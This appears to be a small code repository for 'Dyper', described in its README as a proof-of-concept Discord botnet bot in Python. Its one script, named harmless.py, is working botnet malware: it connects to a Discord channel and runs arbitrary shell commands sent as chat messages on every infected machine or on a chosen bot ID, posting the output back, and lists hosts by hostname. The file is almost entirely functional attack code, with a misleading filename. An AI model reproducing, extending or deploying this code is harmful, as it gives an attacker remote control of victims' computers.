├── README.md └── harmless.py /README.md: -------------------------------------------------------------------------------- 1 | # Dyper 2 | Discord botnet bot written in python 3 | proof of concept 4 | -------------------------------------------------------------------------------- /harmless.py: -------------------------------------------------------------------------------- 1 | import discord 2 | import asyncio 3 | import sys,os,string 4 | import subprocess as sub 5 | import random 6 | 7 | client = discord.Client() 8 | ###################################################################################### 9 | #generate bot unique id 10 | ###################################################################################### 11 | def generate(length): 12 | return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length)) 13 | 14 | ###################################################################################### 15 | #display in console 16 | ###################################################################################### 17 | 18 | @client.event 19 | async def on_ready(): 20 | print('Logged in as') 21 | print(client.user.name) 22 | print(client.user.id) 23 | print('------') 24 | global botname 25 | botname = generate(5) 26 | print('Bot Secret: {0}'.format(botname)) 27 | 28 | @client.event 29 | async def on_message(message): 30 | 31 | ###################################################################################### 32 | #shutdown all bots 33 | ###################################################################################### 34 | if message.content.startswith('!exit'): 35 | sys.exit(1) 36 | 37 | ###################################################################################### 38 | #displays list of all botnames 39 | ###################################################################################### 40 | 41 | if message.content.startswith('!botname'): 42 | await client.send_message(message.channel, 'Bot Code: {0}'.format(botname)) 43 | 44 | ###################################################################################### 45 | #mass execute command to all bots 46 | ###################################################################################### 47 | 48 | if message.content.startswith('!massexec'): 49 | command, variable = message.content.split(' ', 2) 50 | 51 | cmd = sub.check_output('{}'.format(variable), shell=True,stderr=sub.STDOUT).decode('ascii') 52 | 53 | tmp = await client.send_message(message.channel, 'Executing command...') 54 | async for log in client.logs_from(message.channel, limit=100): 55 | await client.edit_message(tmp, '{}'.format(cmd)) 56 | 57 | ###################################################################################### 58 | #exec direct command to bot //syntax = !exec botid command 59 | ###################################################################################### 60 | if message.content.startswith('!exec'): 61 | command, botid, variable = message.content.split(' ', 2) 62 | if botid == botname: 63 | 64 | cmd = sub.check_output('{}'.format(variable), shell=True,stderr=sub.STDOUT).decode('ascii') 65 | 66 | tmp = await client.send_message(message.channel, 'Executing command...') 67 | async for log in client.logs_from(message.channel, limit=100): 68 | await client.edit_message(tmp, '{}'.format(cmd)) 69 | 70 | ###################################################################################### 71 | #return list of online bots with unique ID 72 | ###################################################################################### 73 | 74 | if message.content.startswith('!list'): 75 | tmp = await client.send_message(message.channel, 'Calculating messages...') 76 | online = sub.check_output(['hostname']).decode('ascii') 77 | async for log in client.logs_from(message.channel, limit=100): 78 | await client.edit_message(tmp, 'Online: {0} ID: {1}'.format(online, botname)) 79 | 80 | ###################################################################################### 81 | #sleep bot for 5 seconds 82 | ###################################################################################### 83 | elif message.content.startswith('!sleep'): 84 | await asyncio.sleep(5) 85 | await client.send_message(message.channel, 'Done sleeping') 86 | 87 | client.run('token') 88 | --------------------------------------------------------------------------------